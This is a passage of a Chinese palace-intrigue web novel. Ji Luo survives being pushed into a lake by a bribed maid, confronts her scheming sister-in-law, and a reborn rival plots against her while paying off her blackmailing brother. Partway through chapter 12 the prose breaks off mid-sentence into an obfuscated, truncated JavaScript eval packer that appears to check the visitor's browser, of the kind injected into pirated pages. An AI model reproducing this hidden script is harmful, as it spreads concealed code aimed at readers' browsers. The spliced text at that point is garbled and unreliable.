跌落湖水的一瞬,纪萝想到了许多东西,冰凉刺骨的冷意令她清醒到了极致。 她其实是熟识水性的。 她母亲去世后,纪明林很快娶了续弦魏氏,魏氏待她不好,两人很是不对付。 纪明林瞧着心烦,索性以让她出去散心的名义将她送去青州外祖孙家,一住便是两年之久。 当初纪家与孙家都不过山村中的寻常人家,两家结了姻亲,纪明林又颇有些才学,记性更是极好,来上京考了几回之后当真中第,此后纪家便举家搬迁到了上京,也算是官宦人家了。 而孙家却依旧留在青州。 不过有纪明林这么个做官的女婿,孙家自是也得了庇荫,纪萝母亲孙氏还在世时,也给过孙家不少帮衬,虽然如今孙家也不过只是做了些小本生意,可到底比从前窝在那山村整日以种田为生要好上许多了。 纪萝在青州的那两年,孙家人其实待她不错,也不曾如何约束了她。 青州多睡会,她那时总喜欢去外头疯玩,游水自是不在话下,更可况此处不过是用作观赏的湖泊,比之寻常河流还要浅上许多,她要游上岸去简直轻而易举。 只是她摸不准这湘桃到底有何目的,见她还在,便装模作样地在水里挣扎起来。 湘桃似乎也有些慌了神,她在原地立了片刻,不想正听着远处有一行人临近,她眼瞧着那几个人要过来,心里越发害怕,也顾不上别的了,索性转身离开。 还在水里的纪萝见湘桃走了,这才往岸边游去。 这时才至初春,纪萝身上虽解了斗篷,可依旧穿着不算轻薄,倒不至于因着沾了水而显出身体的曲线,只是如此身上便沉得厉害。 她草草拧了裙摆处的水,一抬眼便瞧见竟恰有一行人往此处过来,若是夫人小姐还好,不过是狼狈了些丢些面子罢了,可偏偏那几人瞧着竟是男子,且衣着尊贵,大约是府中宾客了。 若是当真被他们瞧见,那就当真麻烦了。 纪萝顾不得多想,慌忙提起衣裙匆匆往亭台楼阁阁楼方向跑去,这是她唯一能寻着的蔽身之所。 而此时,楼阁之上恰有人瞧见这般景象。 12. 第十二章 谢元墨今日来沈国公府之事并未让旁人知晓。 毕竟今日是他外祖母生辰,若此间宾客提前知晓他回来,恐怕心思都尽数落在他身上了,如此岂非喧宾夺主? 他最近烦心事不少,此番过来,只想陪外祖母说说话,散散心便是。 往日在宫中规矩束缚颇多,这会儿他换了常服,也避开了席中宾客,反而自在许多。 他方才陪着沈老夫人说了好一会话,眼看到了午间,沈老夫人素来有午憩的习惯,于是谢元墨便等她睡下之后才出来随意走走。 不自觉便到了□□的湖泊水榭处,又行至阁楼间。 这处景致极好,他不觉待得久了些,正要归去时,却见底下湖边两女子拉扯纠缠,片刻之后,其中一婢女打扮的女子更是直接将另一女推入湖中。 而那落水的女子大约是不会水,一落水便在湖中挣扎起来。 谢元墨见此景象,自是要去救人的。 可还不等他下了楼,那落水的女子见岸边推她入水的人走了,竟也就不挣扎了,而是自个默默游上了岸。 谢元墨不由愣了神,这才明白过来原来方才她在水中挣扎不过是为了骗过那推她入水之人。 倒是个聪明的。 他正想着,却见不远处有一行人往此处过来,而那女子也大约瞧见了这一行人,她捞起裙摆惊慌失措地往阁楼方向跑去。 她跑来的方向…… 好似正是自己所在的位置。 不等他细想,纪萝已匆匆上了阁楼,她只想尽快寻一个遮蔽所在,不至于与那一行人撞上。 可不想她才上了阁楼迎面却正好遇上一人。 仓皇之下她并未来得及细瞧眼前人,只知他是男子,便下意识往后退了两步,可后边那一行人也正往这边来,纪萝脑子里乱作一团,转头瞧见身侧好似是一房间模样,她顾不上多想,只能推门进了里间。 她背靠着房门,不知是因着疲累还是心慌,她大口喘息着,等稍稍平复下来才打量着房间内的景象,这里间应当是一间茶室,有茶桌椅子以及各式茶具等等,另一侧还备有软榻,应当是临时歇息之用的。 她正想着,却听得外边传来敲门的声响,她的心猛地揪起来,听得外间人问道:“姑娘可需要帮忙?” 是一道极为陌生的男子声音,纪萝猜出应当是方才自己撞见的那男子。 她虽不知那人身份,也并未来得及瞧清楚他的模样,可粗略一眼便知他穿着打扮并不寻常,想来应当也是席中宾客了。 纪萝低头看了一眼自己如今模样,确实是狼狈至极的。 她即便能在此处躲避一时,可却不能一直躲在此处,不说旁的,只说方才那一行人也是往这个方向过来的,此间又正是茶室,这一行人赏景累了,进来品茶谈天也是正常。 届时她躲在里间,又当如何应对? 想到此处,她稍稍压下嗓子,尝试着道:“劳烦阁下,可否给我备一套衣裙?” 外间人并未应声,纪萝心下也多了几分不安,想着毕竟是男子,如此请求是否有些不便,于是又要开口,却不想正在此时,外间传来那男子声音,他应道:“好。” 纪萝想道一声“多谢”,可不等她开口,便只听得远去的脚步声响,想来那人应当已经走远。 他虽已离开,可纪萝此时实在狼狈,又担心遇上方才那一行人,确实是不好离开的。 若是那人当真给她送来衣裳自是最好,若是不行,纪萝想着还是要趁着四下无人之际离开,等遇到国公府的婢子,再言明不小心落了水,令她引着去换一身衣裳便是。 纪萝如此想着,依旧用身子压住房门,除却能第一时间觉出外间动静之外,也担心猝不及防有人推门进来。 毕竟这茶室与寻常地方不同,里间连一处落锁的地方都是没有的,她实在无法安心在里间稍作歇息。 不过等得久了,见外间始终再无动静,她心下稍稍安定,却也开始回想今日遇上的这一桩事。 怡宁既然参与其中,此时少不了就是赵倩桐的安排了,前几日赵倩桐因着支银子的事与她闹了不和,如今故意算计了她倒也并非没有可能。 只是…… 纪萝在心底叹了口气,怎么偏偏在沈老夫人的寿宴上呢? 不论赵倩桐原本的目的是什么,在国公府这样的地方动手都实在太蠢。 纪萝心底也有些后悔,她虽知晓赵倩桐心里是怨她的,可却怎地都想不到赵倩桐竟会用这样的手段。 到底是大意了。 “姑娘可在里间?”正想得入神,外间又是一阵敲门声,这会传来的却是女子声音。 纪萝想起方才那人,还应道:“在的。” “我家小姐令我给姑娘送了衣裳。”外间的婢子说话很是客气,“还请姑娘开门。” “可否帮我放门口?等会儿我自己来拿便是。”纪萝这会儿已是谨慎许多。 那婢子听她如此说,却也没有多言,只应下道:“那奴婢先退下了。” 片刻之后,纪萝听得脚步声远去。 她又稍稍等了一会才将房门打开一道小缝,见外间确实无人,而底下放置着一套衣裳后才打开门来,拿了那衣裳后又忙关上门去。 那婢子送来的是一套杏色的衣裙,与她今日穿着的衣裳颜色很是相似,只是裙摆处绣了一圈精巧的缠枝莲花纹样,瞧着多了几分贵气,衣裳的尺寸是正正好的,纪萝穿上也很是合身,她换好之后才推门出了茶室。 她下了阁楼,一路上也再未遇上宾客,就连前头瞧见的那一行人身影也并未瞧见了。 不过此时她已经换好衣裳,便是再遇见那些人也是无碍。 纪萝顺着来时的路返回了前厅,才刚至前厅就遇上神情慌张,四处张望却又不敢太过明显的芸枝,等她瞧见纪萝,面上才露出喜色来。 她快步过来,“姑娘这是去哪里了,我才陪着怡宁寻到倩桐小姐,一转头姑娘您却又不见了,实在是将奴婢吓得不行。” 说着,她才瞧出纪萝这身衣裳样式变了,奇怪道:“姑娘怎么还换了身衣裳?” “这事回去再说罢。”纪萝摇摇头,现下还在沈国公府,实在不是个方便说话的地儿。 芸枝回过神来,也小心翼翼地点了点头。 纪萝又问道:“你们是在何处寻着的倩桐的?” “说来也好笑,倩桐小姐正陪在老夫人身边说话呢,怡宁却还担心着倩桐小姐不在,怕是会惹出祸事来。”芸枝方才寻着赵倩桐时她正陪在王氏身边说话,偏偏他们没想到这一层,却是在这前厅绕了好几个圈子都未曾寻着人。 纪萝点头应着,心底却还在想着方才那一桩事。 “这位夫人怎么称呼?”两人正说着话,却有一位身着藕荷色衣裙的夫人过来,她衣着虽是端庄的,可面上却堆满笑意,神色颇有女儿家的姿态,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“倒是可惜。”沈老夫人叹了口气,“我听你说元墨那样上心,又是将人支开,又是问你要了衣裳,还特意选定了一套杏色的衣裙,生怕让旁人瞧出端倪来,又嘱托你让婢女送去,可谓是将诸事都安排得极为妥帖,还想着这事实在难得,想多问问是哪家姑娘呢,却不想被旁人先了一步,当真可惜!” 谢元墨听得这话却状似无意的多问了一句,“是哪家夫人?” 沈文清一愣,神色略有些凝重道:“表哥你不会想着君夺臣妻那一套吧?我和你说你可千万不要生出这般念头来,那位夫人是永宁侯的妻子,听闻她嫁与永宁侯已有三年,夫妻二人感情向来极好……” “沈文清。”谢元墨叫住她,语气颇有些无奈道:“我要让卫豫将你那些话本子都尽数烧了!” “那可不成!”沈文清慌忙闭了嘴,“我不说了便是。” 听沈文清道出纪萝的身份,沈老夫人倒是有些印象,“永宁侯的夫人我倒是有些印象,今日她与她婆母过来献了寿礼,我多瞧了她几眼,模样是生得极好,规矩礼仪也很是周全,是极好的。” 又叹了口气道:“罢了,总归差了些缘分。” 说到此处,沈老夫人又不免提及立后之事,道:“你母亲在我跟前都抱怨了好几回,国事虽说要紧,可却也不能耽搁了自个的事……” 谢元墨无法,只得含混应着。 13. 第十三章 宴席散后,纪萝一行人也回了侯府。 途中纪萝自是见到了赵倩桐的,只是赵倩桐却一直避开她的目光,甚至是多看她一眼也是不敢的。 瞧见她这副模样,纪萝心里又是禁不住叹了口气,赵倩桐说是胆大,可偏偏做错了事后却是连遮掩都不会,“心虚”二字都宛若写在了脸上,却也敢做出这般算计之事来。 这后头怕不是有人撺掇? 可此人又能是谁呢? 回了永宁侯府后,因着时辰已是不早,王氏先回了华庆院,赵倩桐也紧跟着说要回自个院子去,纪萝经了这一遭也觉得疲累,便也回了青萝院。 回到院中,纪萝才同芸枝道明了今日所发生的事儿。 芸枝也才醒过神,“所以这竟是倩桐小姐为了报复您没有在她支银子那事上边松口刻意做的安排?” “此事她定是知情的。”纪萝点头,“只是她背后还是否有人刻意撺掇便未可知了。” 芸枝面色凝重了几分,“姑娘还是得将此事告诉侯爷才成,往日倩桐小姐给您使绊子,可多是不痛不痒的,但这回却是敢在沈国公府动手,实在是有些过了。” “若您今日浑身湿透又恰好撞上那一众宾客,何止是落了永宁侯府的颜面,怕是往后上京的那些人都要对您指指点点,这招实在狠毒。” “与侯爷说了也是无益。”纪萝想起赵承嘉近日颇为公事烦忧,便还是摇了头,“后宅的事情,就不让他烦心了。” 芸枝却有些不甘,“难道这事,竟就这样算了?” “自然不是。”纪萝轻声道:“明日,我去见一见她。” 这夜,赵承嘉因着公事并未回府,纪萝一日疲累,很快便沉沉睡了过去。 *** 翌日。 静雪院,赵倩桐惴惴不安地来回踱步,她昨夜一夜不得安睡,今日一早便令人去叫了怡宁过来。 昨夜她才到了侯府便安排了怡宁去处理了后续的一些事情,生怕露出了端倪来。 可直至午后,怡宁才将诸事处理妥当,这会儿过来回话。 赵倩桐见了她,忙问道:“如何了,湘桃那边,打点好了罢?” “是。”怡宁点头,“奴婢已经将许诺的银子给了她,她在老夫人跟前原本也不是个多得脸的,眼下拿了银子,换了卖身契今日一早就已经走了。” 赵倩桐稍稍安心了些,连连道:“那就好,那就好。” 她才微微定下心神,外间又有人进来禀报,竟说是纪萝到了。 赵倩桐瞬间变了脸色,眼底的慌乱也是全然无法掩藏,“她怎么来了?她是不是知道些什么了?是过来向我兴师问罪的罢?” “姑娘。”怡宁搀住她几乎摇摇欲坠的身体,劝慰道:“便是这纪氏当真知晓些什么又如何?她手里没有证据,便是说出去也不会有人信的。” 赵倩桐六神无主地看向怡宁,听得她笃定道:“您待会儿在纪氏面前莫要露出端倪来便是,往日怎样今日便也怎样,不要令她瞧出不对劲来。” “好。”赵倩桐勉强应着,“让她进来罢,等得久了怕是更起疑。” 怡宁应着,不多时便将纪萝引了进来,而后便与芸枝一同退了下去。 屋内只余下她们二人。 赵倩桐已是稳住心神,她抬眼看向纪萝,“你过来是有何事?” 她与纪萝说话向来是这样的态度,除了有几回在赵承嘉面前不情不愿地唤过她几回“嫂子”之外,旁的时候向来是不愿这样唤她的,便是当着王氏的面也是如此,更不说眼下唯有她们二人在了。 纪萝早已习惯,此时也并未纠结,只问她,“昨日国公府,你安排身边的婢子怡宁引开我身边的人,又买通湘桃推我入水,我却是不知你这样做是为着什么?” 赵倩桐自是不会承认的,她下意识避开纪萝的目光,道:“你说什么?” 纪萝有些无奈地叹了口气,“倩桐,怡宁是你的贴身婢子,你无论如何脱不了干系。” “我不知你在说什么!”赵倩桐别开脸,“你若是怀疑什么,只管去查便是了,怡宁也与我说了,她只是一时寻不着我着了急才来找你帮忙,至于你后边说的那些,怎地也与我扯不上关系!” 她想起方才怡宁与她说的话,语气中也多了几分底气。 纪萝心下怀疑只管去查便是,湘桃早已离了府,要寻到人且不是件易事,更不说令她说出实情了。 即便是官府的人,要在诺大的上京寻到一个不起眼的婢子都是件难事,更不说纪萝只是个深宅妇人罢了,再说湘桃并非是上京人氏,这会儿已是归了老家也未可知。 这样想来,纪萝哪里能寻着证据? 纪萝定定地看了她一会,而后道:“你不愿认也无妨,我原本也不是想着令你认下这桩事,只是……” “你要知晓你做这般算计是会让我在众人面前落了脸面,可在外头,在沈国公府,我若丢了脸面,旁人也是要看不起永宁侯府的,你是永宁侯府的小姐,旁人说我,说永宁侯府的不是,你难道就能撇清关系了?” 赵倩桐脸色有些不大好,甚至欲言又止了几番似乎想说些什么,但到底有所顾忌,始终没说出口来。 纪萝觉出她的神色异常,于是稍稍缓和了声音,道:“你向来聪明,不会不明白一荣俱荣一损俱损的道理,或许是有人与你说了什么,怀的却不是什么好心思。” 赵倩桐听到此处,下意识抬眼看向纪萝,没料想到她竟是这般轻易的猜对了。 不过后来动手也只是自己的主意,她这话却也只是说对了一半罢了。 可这话对于赵倩桐而言,到底有些刺耳了。 “你往后再遇上这人,再听她说什么,还是稍稍小心些。”纪萝继续道:“若是被人当作手中利刃,反而不好。” 赵倩桐脸色越发难看,纪萝如此说,好似将她说成了全然没有脑子,旁人说什么就相信什么,即便成了旁人手中的一把刀子也未可知的蠢笨之人。 她自诩是个有脑子的,眼下却听得纪萝将她贬低到了这地步。 这令她心底实在憋屈,止不住道:“我并未想将你害到那般地步。” 纪萝道:“你说什么?” “左右这里间也没有旁人,我和你直言也无妨。”赵倩桐有些气恼道:“我原本只是想让湘桃将你推入后院的小池子里,母亲与几位夫人恰好在那边赏景,若你在她们面前弄得一身狼狈,母亲向来是最要面子的,她瞧见这般景象,定是会觉得丢了脸面。” “瞧见这景象的人不多,不至于传闻出去,可却让母亲在那些个夫人面前丢了脸,她定不会与你好过,这般便也就够了。” 听到此处,纪萝哪里还有不明白的道理,她道:“只是你不曾料到我会提前觉察湘桃的意图,而湘桃没了法子,竟将我推入湖中?” “那湘桃实在是个不中用的!”赵倩桐恨恨道:“我哪里会想让你在那些男子面前落了水,这事当真闹开了,丢的是永宁侯府的 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纪萝往日对她颇为忍让,总想着她那些手段不过小打小闹,睁一只眼闭一只眼便是,可换来的却是她半分不知收敛,反而越发变本加厉。 这一回她虽解释说是并非想当众落了纪萝的脸面,可却也是想在沈国公府上动手,令王氏更是厌恶纪萝。 这心思不可谓不坏。 来此之前纪萝也早想明白了,若是一味退让,赵倩桐怕是不会有消停的时候。 倒不如与她将话讲明白了,令她知晓自己也并非那样好说话的! 赵倩桐头一回见纪萝这般甚至能称之为嚣张的模样,一时也不由愣住,片刻后才勉强道:“你不怕我将你方才说的话告诉母亲,告诉兄长,让他们都好好瞧瞧,往日一副乖顺模样的你骨子里到底是个什么人!” 这话说完,赵倩桐并未从纪萝脸上瞧出分毫惧怕之色,她微微弯了弯唇,甚至是笑了,“你忘了你方才是如何说的了。” “这里唯有你我二人在,我即便说了那些话你也不会有凭证,母亲自然向着你,也却也不能因着你空口一句话便要如何责罚我罢?更何况还有侯爷在,若令侯爷与母亲因着这种事起了囹圄,就更是不好了。” 她话语中竟是少见地带着威胁的意味。 而相同的话赵倩桐方才也说过一回一样的,这会儿换了纪萝如此说,她却也说不出反驳的话的。 确实,虽然王氏偏向于她,可赵承嘉确实一直护着纪萝的,不然府中大小事物也不会交与纪萝手中。 若当真闹起来,自己又如何能当真轻易脱身,更不说往后王氏年迈,纪萝当真做了侯府的主子…… 她一句话也说不出来。 纪萝从静雪院出来时赵倩桐已是脸色惨白。 芸枝心头却是有些不安的,“老夫人向来是最疼爱她的,您这样说,万一她记恨您,再使别的阴毒法子来算计您……” “从前此次忍让,她却也没有收敛。”纪萝神色淡淡道:“倒不如与她将话说得明白,即便她再有心思,也或许该掂量掂量,总不至于再觉得我这般好欺负。” 芸枝想起从前,不由点了点头,“也是,希望这一回之后她能稍微收敛些。” 芸枝正说着,纪萝的神色却不由顿住,她的目光落在假山旁。 芸枝顺着她的目光看去,两道颀长的身影立在那处,春日的柳絮飘飘洒洒,落在他们的发间,好似一幅画卷。 14. 第十四章 王玉盈昨日等了一日,却也没等来她想要的好消息。 今日早上又令人去打听了一番,却依旧是一无所获。 “这样看来昨日在沈国公府应当确实没闹出什么事儿来。”凝芳小心翼翼禀报着,“若有动静,昨日去的宾客那样多,应当是瞒不住的。” 王玉盈气得猛地一拍案几,“真是个没用的,我分明暗示了她几回,原以为她能做点什么,至少让那纪氏在姑母面前落了面子,可不想竟是一点动静也没有!” 凝芳叹了口气,“那纪氏瞧着乖顺,可却是个有心机的,应付起倩桐小姐的算计来应当不是难事。” 王玉盈面上怒气未消,“我如何不知,只是我眼下能留在侯府已是不易,表哥的心思还都在她的身上,我拿什么与她斗?” 凝芳见王玉盈发作,赶忙上前劝慰,“姑娘且消消气,您身子如今不比寻常,还是应当小心些。” 她虽不曾直言,可目光却已经不自觉落到王玉盈腹部,显然是在担心那个孩子。 王玉盈这些时日日日吃着从王家带来的药,那药原本便是个伤胎的,虽说王玉盈一早便说了不会留下这孩子,可凝芳每每见她动气,心里还是不免担心。 毕竟是一条性命。 王玉盈却浑然不在意,不过却是稍稍安定下来,她思忖片刻,起身道:“算来这会儿时辰应是差不多了,表哥应当回侯府了罢?” “是。”凝芳虽不解她为何如此问,可还是答道:“往日确实都是这个时辰,今日若无他事的话应当也差不多。” 王玉盈点点头,“既是旁人靠不住,那我自己总该做点什么。” 说罢,转身往外间走去。 凝芳只得跟了上去。 假山后,赵承嘉刚踏上那条小径就被叫住,“表哥!” 他微微蹙眉,可到底还是停了脚步。 王玉盈快步上前来,还未来得及说话就听赵承嘉颇为不耐烦道:“有何事?” 王玉盈瞬间眼底涌上一阵酸涩之意,她抿了抿唇,好一会才勉强道:“倒是没有旁的事,只是我过来这几日表哥都颇为忙碌,我想着……” 她的话才说了一半,赵承嘉便打断道:“既是没有什么事,那我就先走了。” 说罢,当真抬腿便要走。 王玉盈看着他就要离开,止不住上前两步拽住了他的衣袖,哽咽着道:“表哥如今竟是连与我说句话都不愿了么?” 赵承嘉的身体僵硬了一瞬,但到底还是拂开了她的手,似乎声音极轻地叹了口气道:“你想说什么?” 王玉盈用帕子拭泪,“我只是想着,过去的的那些事确实是我对不住表哥,表哥对我心里有怨也是应当,只是我如今却也没了旁的去处,只能留在侯府,与表哥这抬头不见低头见的,若是表哥心里还埋怨着我,见了我总是要不高兴,如此,我心里也觉得愧疚。” 赵承嘉移开目光,语气有些生硬道:“你不必想这么多,过去的事我已经忘了,往后你还是我的表妹。” “也只是我的表妹。” 最后一句话他说得很是认真,每个字都说得极为清晰。 仿佛是用这句话为他们二人间划出了一道清晰的界限,是在告诉王玉盈,同时也是在告诉他自己。 王玉盈微微张了张嘴,眼底除却委屈之后更多的竟是茫然,她确实有些意外赵承嘉竟会对她冷漠至此。 要知道,从前的赵承嘉,即便说是她身边的一条狗也是不为过的。 她喜欢上袁庆生后便对赵承嘉没了心思,初时还愿花些心思吊着他,后来觉得无趣,便索性冷着他,即便他如何主动讨好,王玉盈也并不愿搭理。 即便如此,赵承嘉也依旧对她极好。 可如今,他们之间竟像是调转了身份,她反而成了在他身边讨好那个。 王玉盈下意识捏紧了手中锦帕,心底越发不甘。 而正在这时假山的另一侧有脚步声传来,她下意识抬眸便见纪萝走了过来,“侯爷,表妹,你们怎地在此处说话?” 赵承嘉一见纪萝就往她所在的位置走了几步,生生与王玉盈拉开好一段距离来,又先一步解释道:“我刚下值回来,正想去你院中,不想在此处遇上了表妹就正好说了两句话。” 王玉盈自然也不好多说什么,只能勉强挤出笑意道:“是,我正要去姑母院中。” 纪萝瞧出王玉盈神色不对,好似方才哭过,不由有些奇怪,正想多问一句,赵承嘉却已经拉着她离开了。 回青萝院的路上,纪萝想起王玉盈方才那眼眶微红的模样,到底忍不住多问了一句,“表妹瞧着好似才哭过,你们二人方才是聊了什么么?” 赵承嘉神色一僵,但很快想出了应对的说辞,道:“方才遇上表妹,她说起与袁家那桩婚事,提及她那前夫,止不住有些伤神罢了。” “原来是为着这事。”纪萝没再多问,只是有些惋惜道:“玉盈表妹确实是因着这桩婚事吃了不少苦。” 二人说着,已是渐渐走远。 王玉盈却是在原地站了好一会,攥着锦帕的手越发用力,就连指尖已经掐入了手心的皮肉中也未曾察觉。 “姑娘。”凝芳见她这副模样有些担心,“我们还是先回去罢?” 王玉盈转眸看向凝芳,那目光实在有些骇人,令凝芳也是慌忙低下头,心下有些后悔出言提醒。 可王玉盈却并未责怪她,只没头没尾地问了句,“你还记得从前,表哥他是如何待我的么?” 凝芳一愣,迟疑道:“侯爷从前……很是喜欢姑娘,曾多回向姑娘表明了心意,即便小姐属意他人,直接与他言明并无心于他,可侯爷依旧一心喜欢着姑娘,甚至姑娘新婚前夜,他还守在姑娘窗边,生生守了一夜……” 凝芳斟酌着将赵承嘉过去的情意说了出来,见王玉盈眉头越发舒展开来,她便也越发大着胆子将话往下说了下去。 听完凝芳这些话,王玉盈心底确实稍稍舒服了些,可想起方才赵承嘉 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赵承嘉的目光时不时落在纪萝身上,见她微微低下头,目光专注地落在账册上,时不时还提笔写些什么,显然极为认真。 赵承嘉心底微动,他缓步走上前去作势去瞧她放在案几上的账册,可一弯腰却已经将人揽入怀中。 “阿萝。”他埋在她耳旁唤她名字,“天色不早了,该早些歇息了。” 他的声音微微有些哑意,显然已是情动。 他们成婚已有三年了,过去的三年间,赵承嘉从未碰过纪萝,他嘴上说着是为父亲守孝,可真正的原因却并非如此。 他心底早有了喜欢的人,而纪萝,对于彼时的他来说,只是一个合适的妻子。 仅此而已。 纪萝其实生得很是好看,即便比起王玉盈,也是更甚一筹的。 初见纪萝时,他甚至觉得有些惊艳。 可那又如何,那时候的赵承嘉只想着,他娶不到他心爱的人了,所以最终到底是娶了谁,都无关紧要。 婚后的那三年,他逃避一般的避开了与纪萝任何亲密接触的机会,几乎是偏执地为王玉盈守着。 可到底为了什么,他自己也说不明白。 而偏偏纪萝是个懂事的性子,她乖顺地做好了一个妻子该做的所有事,在那三年间也从未有过怨言。 赵承嘉是愧疚的,所以他想对纪萝好一点。 也该与她有个孩子。 想到此处,赵承嘉伸手抚上了纪萝的腰间。 撇去那些复杂的理由,他不得不承认,纪萝对他还是有着难以抗拒的吸引力的。 所以从第一回之后,他便食髓知味地想着有第二回,第三回…… 可纪萝却有些不好意思地握住了他在腰间作乱的手,“侯爷,我今日身子有些不适,怕是不能侍奉您了。” 15. 第十五章 纪萝说的并非假话。 她昨日落了谁,今日一早起身时其实就有些头晕,午间大夫来了一趟,替她瞧过之后说是着了凉,给她开了方子抓了药。 纪萝喝过汤药之后确实是好了不少,所以午后才去见了赵倩桐。 只是即便稍稍好了些,她身子到底还是有些不适,所以还是避开了与赵承嘉亲近。 赵承嘉手中的动作一顿,这才想起来方才用了晚膳后,纪萝好似是用了一碗汤药,只是他以为那是为了怀身子的汤药,便也没有多问了。 这会儿听她提了一句,才意识到纪萝是身子不适,于是关心了一句,“怎地病了?” 纪萝轻轻摇头,“无碍,只是有些着凉罢了。” 赵承嘉没再多问,只道:“既是身子不适,那更是要早些歇息了。” 说完,他将纪萝手中的墨笔拿下,又将那账册合了起来,“明日再看也是一样。” 纪萝只得应下。 一夜好眠。 *** 王玉盈却睡得并不安生。 她已经不知第几回梦见上辈子的事了。 可却是第一回如此清晰地见到上辈子的事情再度在眼前重演。 从她嫁给袁庆生到满心不甘愿的死去,她好似将那些事情再度经历了一番,就连最后额头磕进尖石里那种尖锐的疼痛感也极为真实。 她猛然从床榻上惊醒,禁不住地大口喘/息着,她看着周遭的景象,迟钝地想了许久,这才意识到,是了,她已经重生了。 梦境里的那些事都是上辈子的事情了。 她用力地攥紧了身上的被褥,低声喃喃道:“不会了,我已经和袁庆生和离了,这辈子,一切都与从前不相同了。” 可也正在这时,她突然想起一件事。 她腹中孩子才生下不久,她不知因着什么事回了一趟王家,她母亲拉着她说话,倒是与她提了一句,说她姑母得了孙儿,这些时日高兴得不行,又借着这机会提醒她好生养好身子,最好还是再能为袁庆生生下一个儿子才好。 那日李氏絮絮叨叨地说了许多,大多都只是说什么袁庆生此时或许不在意,可往后时日久了,谁又能保证不会在意? 到那时候她年纪大了,即便再有生孩子的心思却也生不了了,届时免不得会生出纳妾的心思来…… 彼时王玉盈与袁庆生感情正好,对于李氏的这些话,她都只是含糊应着,并未听进去多少。 可是这会儿,李氏说的每一句话却都清晰起来。 特别是那句“你姑母前些日子才得了孙儿,这些时日都欢喜得不行”,王玉盈一遍又一遍地回想起这句话,背脊出却已经生出了冷汗来。 是了,她怎么忘记了,她的孩子生下来后不久,纪萝也生下了一个孩子。 如今她的孩子已经在腹中,也就是说,此时的纪萝的孩子或许也快要到来。 王玉盈轻轻闭了闭眼睛,彼时,她对于永宁侯府的事情并不上心,所以听得李氏那般说也并未细问,以至于即便再如何回想却也想不起来纪萝的孩子到底具体是什么时候怀上的。 可只要知道这个孩子必然会来到,便也就足以让她慌了心神。 “不行。”她咬牙道:“我等不了那么久了,若是纪萝当真生下这个孩子,且不说表哥,便是姑母也会更看重她,届时,我哪里还有机会……” 她想着,目光落到窗外。 正是夜半,外间被浓稠的夜色包裹着,没有月亮,连星星也是暗淡无光的。 王玉盈在枯坐了一夜,等第二日起身时眼睛酸疼得厉害,眼下更是有极为明显的乌青,好在施过脂粉之后便能大概遮掩过去,不贴得太近便瞧不出什么来。 等王玉盈梳妆完毕便去华庆院用了早膳,王氏上回在沈国公府与几位世家夫人聊得不错,今日正约了一同打牌,所以用过早膳之后就匆匆去了。 王玉盈一夜不得好眠,这会正觉得周身颇为疲累,索性便回了观荷院。 不想半道上却恰好遇上一人,正是她亲弟弟王绍。 此时侯府管家也正好引着他往观荷院过来。 王绍正左右瞧着,一见王玉盈,马上便笑着走上前来,唤她,“阿姐。” 王玉盈自是不想见到王绍的,可此时有外人在,她即便再如何不高兴,却也不能展露,只得勉强笑道:“你怎么来了?” “自然是来看我阿姐的。”王绍的目光从那管家身上扫过,又叹了口气道:“父亲母亲如今正在气头上,不肯见阿姐,可我心里却是挂念着阿姐的。” 这是王玉盈对王氏的说法,也是提前与母亲李氏商量过的。 王绍如此说,说明李氏也提前与他通过气。 虽知晓这个弟弟过来定是不会有好事,可听他将这事圆了过去,王玉盈面上的笑意也真心了几分,她道:“既然来了就去阿姐院中说话吧,别在这外间站着了。” 王绍自然应着。 管家见他们姐弟二人已经叙上旧了,便也退了下去。 到了观荷院,王玉盈拉着王绍进了屋内,又是小心翼翼将门关好,这才开口问他,“你实话与我说,你来找我到底是有什么事?” 王绍在王玉盈屋内进进出出地打量了好一番,瞧见了什么稀罕些的东西还止不住地发出“啧啧”声,连连道:“难怪阿姐你打定了主意要嫁进这侯府来,这侯府确实气派,即便那袁家再如何负于说到底也只是个商户,与侯府实在是比不得的……” 王玉盈却没耐心听他说这些有的没的,只拽着他的手道:“我只问你,你这回过来到底是要做什么?是母亲令你来的,还是你自己要来?” 王绍甩开她的手,嬉皮笑脸道:“我方才不是说了么,我是来看望阿姐的,咱们是一家人,阿姐见了我为何却不高兴?这可实在令我这个做弟弟的伤心啊!” “你的性子旁人或许不知,可我会不知么?”王玉盈冷笑,“我没心思与你扯那些,这里眼下也没别人,你有话直说就是!” 王玉盈与王绍是亲生姐弟,自小又是一块儿长大的,对于他的性子,王玉盈确实是最为了解不过。 他向来自私,莫说是对王玉盈这个姐姐,即便是生身父母,恐怕也不见得有多在意。 所以他方才说的那些话,王玉盈是一个字也不会信的。 听她这样说,王绍也并未反驳,只随手摆弄着她妆匣中的簪钗首饰,道:“母亲令我来提醒你一句。” 他的目光落在王玉盈腹部的位 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“阿姐这样着急做什么,母亲的话虽然带到了,可我还有些话想同你说,却还未来得及说呢!”王绍随意找了张椅子坐下,叹了口气道:“你阿弟如今的日子可不好过,从前有袁家姐夫在,我在外头的花销只要记他名下就好,那自是潇洒自在,可如今母亲再三叮嘱我不能再如此,唉,为了阿姐,我确实也不能再使他的银子。” “只是如此,我这手头实在拮据啊!” 王玉盈脸色有些难看,“你这是问我要银子?” 王绍脸皮向来厚,听王玉盈这般问也并不会觉得不好意思,而是直接点了头道:“阿姐往后可是要做侯夫人的,这点银子对你来说应当只是小事罢?” 王玉盈冷笑一声,“别与我说这些,我没有银子,你若是要钱,直接问父亲母亲要便是。” “王家的家底也就那些。”王绍道:“哪里比得了侯府,连客院都是这样宽敞大气,里头的物件也都是好东西,阿姐自己在这过上了好日子却要将家中撇下,这是什么道理?” 王玉盈被他气得头疼,正要令人索性将他赶出去,王绍却接着道:“永宁侯府的老夫人,我也是能唤一声姑母的,赵承嘉也是我表兄,若是阿姐不念着我们姐弟情谊,那不若索性我也来侯府小住一段时日,就说,就说心里记挂着阿姐,想来陪陪阿姐,阿姐你觉得……” “别说了!”王玉盈如何听不出王绍此时虽口口声声说是在记挂她,可其实却是在威胁。 她知道,依着王绍的性子,若是今日她不给这银子,那王绍定是不会甘心的。 当真来永宁侯府住下也并非不可能。 届时,她恐怕永远没有安宁的时候了。 想到此处,她到底是翻出了两张银票来,“拿了便消停些,我这边出了岔子,对你也没好处!” 